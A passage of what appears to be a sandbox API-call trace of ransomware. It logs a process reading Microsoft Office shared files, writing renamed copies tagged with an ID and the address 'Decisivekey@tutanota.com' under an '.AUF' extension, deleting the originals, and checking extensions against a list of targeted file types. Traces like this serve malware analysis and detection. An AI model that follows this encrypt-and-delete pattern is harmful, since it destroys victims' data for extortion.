Shared\\OFFICE14\\USP10.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.528] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.528] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.529] GetLastError () returned 0x0 [0223.529] ReadFile (in: hFile=0x21c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xc6b00, lpOverlapped=0x0) returned 1 [0223.633] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xc6b10, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xc6b10, lpOverlapped=0x0) returned 1 [0223.645] ReadFile (in: hFile=0x21c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.645] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0223.645] SetEndOfFile (hFile=0x16c) returned 1 [0223.645] CloseHandle (hObject=0x16c) returned 1 [0223.645] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.645] SetEndOfFile (hFile=0x21c) returned 1 [0223.676] CloseHandle (hObject=0x21c) returned 1 [0223.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.676] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 1 [0223.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.677] lstrlenW (lpString=".doc") returned 4 [0223.677] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString=".docx") returned 5 [0223.677] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0223.677] lstrlenW (lpString=".pdf") returned 4 [0223.677] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString=".xls") returned 4 [0223.677] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString=".xlsx") returned 5 [0223.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0223.677] lstrlenW (lpString=".ppt") returned 4 [0223.677] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.677] lstrlenW (lpString=".zip") returned 4 [0223.677] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString=".rar") returned 4 [0223.677] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString=".bz2") returned 4 [0223.677] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.677] lstrlenW (lpString=".7z") returned 3 [0223.677] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.677] lstrlenW (lpString=".dbf") returned 4 [0223.677] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.677] lstrlenW (lpString=".1cd") returned 4 [0223.677] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.677] lstrlenW (lpString=".jpg") returned 4 [0223.677] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.677] lstrlenW (lpString=".doc") returned 4 [0223.677] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString=".docx") returned 5 [0223.677] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0223.677] lstrlenW (lpString=".pdf") returned 4 [0223.677] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString=".xls") returned 4 [0223.677] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.677] lstrlenW (lpString=".xlsx") returned 5 [0223.678] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0223.678] lstrlenW (lpString=".ppt") returned 4 [0223.678] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.678] lstrlenW (lpString=".zip") returned 4 [0223.678] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.678] lstrlenW (lpString=".rar") returned 4 [0223.678] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.678] lstrlenW (lpString=".bz2") returned 4 [0223.678] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.678] lstrlenW (lpString=".7z") returned 3 [0223.678] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.678] lstrlenW (lpString=".dbf") returned 4 [0223.678] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.678] lstrlenW (lpString=".1cd") returned 4 [0223.678] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0223.678] lstrlenW (lpString=".jpg") returned 4 [0223.678] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.678] lstrcmpiW (lpString1=".xrm-ms", lpString2=".AUF") returned 1 [0223.678] lstrlenW (lpString="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 42 [0223.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.679] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=11646) returned 1 [0223.679] CloseHandle (hObject=0x21c) returned 1 [0223.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0223.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.679] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.679] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.679] GetLastError () returned 0x0 [0223.679] ReadFile (in: hFile=0x21c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x2d7e, lpOverlapped=0x0) returned 1 [0223.797] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0223.797] ReadFile (in: hFile=0x21c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.797] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x128, lpOverlapped=0x0) returned 1 [0223.797] SetEndOfFile (hFile=0x16c) returned 1 [0223.798] CloseHandle (hObject=0x16c) returned 1 [0223.798] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.798] SetEndOfFile (hFile=0x21c) returned 1 [0223.798] CloseHandle (hObject=0x21c) returned 1 [0223.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.799] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 1 [0223.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.799] lstrlenW (lpString=".doc") returned 4 [0223.799] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString=".docx") returned 5 [0223.799] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0223.799] lstrlenW (lpString=".pdf") returned 4 [0223.799] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString=".xls") returned 4 [0223.799] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString=".xlsx") returned 5 [0223.799] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0223.799] lstrlenW (lpString=".ppt") returned 4 [0223.799] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.799] lstrlenW (lpString=".zip") returned 4 [0223.799] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString=".rar") returned 4 [0223.799] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString=".bz2") returned 4 [0223.799] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString=".7z") returned 3 [0223.799] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0223.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.799] lstrlenW (lpString=".dbf") returned 4 [0223.799] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.799] lstrlenW (lpString=".1cd") returned 4 [0223.799] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0223.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.799] lstrlenW (lpString=".jpg") returned 4 [0223.799] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.800] lstrlenW (lpString=".doc") returned 4 [0223.800] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString=".docx") returned 5 [0223.800] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0223.800] lstrlenW (lpString=".pdf") returned 4 [0223.800] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString=".xls") returned 4 [0223.800] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString=".xlsx") returned 5 [0223.800] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0223.800] lstrlenW (lpString=".ppt") returned 4 [0223.800] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.800] lstrlenW (lpString=".zip") returned 4 [0223.800] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString=".rar") returned 4 [0223.800] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString=".bz2") returned 4 [0223.800] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString=".7z") returned 3 [0223.800] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0223.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.800] lstrlenW (lpString=".dbf") returned 4 [0223.800] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.800] lstrlenW (lpString=".1cd") returned 4 [0223.800] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0223.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0223.800] lstrlenW (lpString=".jpg") returned 4 [0223.800] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0223.800] lstrcmpiW (lpString1=".MOF", lpString2=".AUF") returned 1 [0223.800] lstrlenW (lpString="OSPPWMI.MOF") returned 11 [0223.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.801] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=47710) returned 1 [0223.801] CloseHandle (hObject=0x21c) returned 1 [0223.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0223.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.801] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.801] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.801] GetLastError () returned 0x0 [0223.801] ReadFile (in: hFile=0x21c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xba5e, lpOverlapped=0x0) returned 1 [0223.854] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xba60, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xba60, lpOverlapped=0x0) returned 1 [0223.855] ReadFile (in: hFile=0x21c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.855] WriteFile (in: hFile=0x16c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.855] SetEndOfFile (hFile=0x16c) returned 1 [0223.856] CloseHandle (hObject=0x16c) returned 1 [0223.856] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.856] SetEndOfFile (hFile=0x21c) returned 1 [0223.856] CloseHandle (hObject=0x21c) returned 1 [0223.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.857] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 1 [0223.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.857] lstrlenW (lpString=".doc") returned 4 [0223.857] lstrcmpiW (lpString1=".doc", lpString2=".MOF") returned -1 [0223.857] lstrlenW (lpString=".docx") returned 5 [0223.857] lstrcmpiW (lpString1=".docx", lpString2="I.MOF") returned -1 [0223.857] lstrlenW (lpString=".pdf") returned 4 [0223.857] lstrcmpiW (lpString1=".pdf", lpString2=".MOF") returned 1 [0223.857] lstrlenW (lpString=".xls") returned 4 [0223.857] lstrcmpiW (lpString1=".xls", lpString2=".MOF") returned 1 [0223.857] lstrlenW (lpString=".xlsx") returned 5 [0223.857] lstrcmpiW (lpString1=".xlsx", lpString2="I.MOF") returned -1 [0223.857] lstrlenW (lpString=".ppt") returned 4 [0223.857] lstrcmpiW (lpString1=".ppt", lpString2=".MOF") returned 1 [0223.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.857] lstrlenW (lpString=".zip") returned 4 [0223.857] lstrcmpiW (lpString1=".zip", lpString2=".MOF") returned 1 [0223.857] lstrlenW (lpString=".rar") returned 4 [0223.857] lstrcmpiW (lpString1=".rar", lpString2=".MOF") returned 1 [0223.857] lstrlenW (lpString=".bz2") returned 4 [0223.857] lstrcmpiW (lpString1=".bz2", lpString2=".MOF") returned -1 [0223.857] lstrlenW (lpString=".7z") returned 3 [0223.857] lstrcmpiW (lpString1=".7z", lpString2="MOF") returned -1 [0223.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.857] lstrlenW (lpString=".dbf") returned 4 [0223.857] lstrcmpiW (lpString1=".dbf", lpString2=".MOF") returned -1 [0223.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.857] lstrlenW (lpString=".1cd") returned 4 [0223.857] lstrcmpiW (lpString1=".1cd", lpString2=".MOF") returned -1 [0223.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.857] lstrlenW (lpString=".jpg") returned 4 [0223.857] lstrcmpiW (lpString1=".jpg", lpString2=".MOF") returned -1 [0223.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.857] lstrlenW (lpString=".doc") returned 4 [0223.858] lstrcmpiW (lpString1=".doc", lpString2=".MOF") returned -1 [0223.858] lstrlenW (lpString=".docx") returned 5 [0223.858] lstrcmpiW (lpString1=".docx", lpString2="I.MOF") returned -1 [0223.858] lstrlenW (lpString=".pdf") returned 4 [0223.858] lstrcmpiW (lpString1=".pdf", lpString2=".MOF") returned 1 [0223.858] lstrlenW (lpString=".xls") returned 4 [0223.858] lstrcmpiW (lpString1=".xls", lpString2=".MOF") returned 1 [0223.858] lstrlenW (lpString=".xlsx") returned 5 [0223.858] lstrcmpiW (lpString1=".xlsx", lpString2="I.MOF") returned -1 [0223.858] lstrlenW (lpString=".ppt") returned 4 [0223.858] lstrcmpiW (lpString1=".ppt", lpString2=".MOF") returned 1 [0223.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.858] lstrlenW (lpString=".zip") returned 4 [0223.858] lstrcmpiW (lpString1=".zip", lpString2=".MOF") returned 1 [0223.858] lstrlenW (lpString=".rar") returned 4 [0223.858] lstrcmpiW (lpString1=".rar", lpString2=".MOF") returned 1 [0223.858] lstrlenW (lpString=".bz2") returned 4 [0223.858] lstrcmpiW (lpString1=".bz2", lpString2=".MOF") returned -1 [0223.858] lstrlenW (lpString=".7z") returned 3 [0223.858] lstrcmpiW (lpString1=".7z", lpString2="MOF") returned -1 [0223.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.858] lstrlenW (lpString=".dbf") returned 4 [0223.858] lstrcmpiW (lpString1=".dbf", lpString2=".MOF") returned -1 [0223.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.858] lstrlenW (lpString=".1cd") returned 4 [0223.858] lstrcmpiW (lpString1=".1cd", lpString2=".MOF") returned -1 [0223.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0223.858] lstrlenW (lpString=".jpg") returned 4 [0223.858] lstrcmpiW 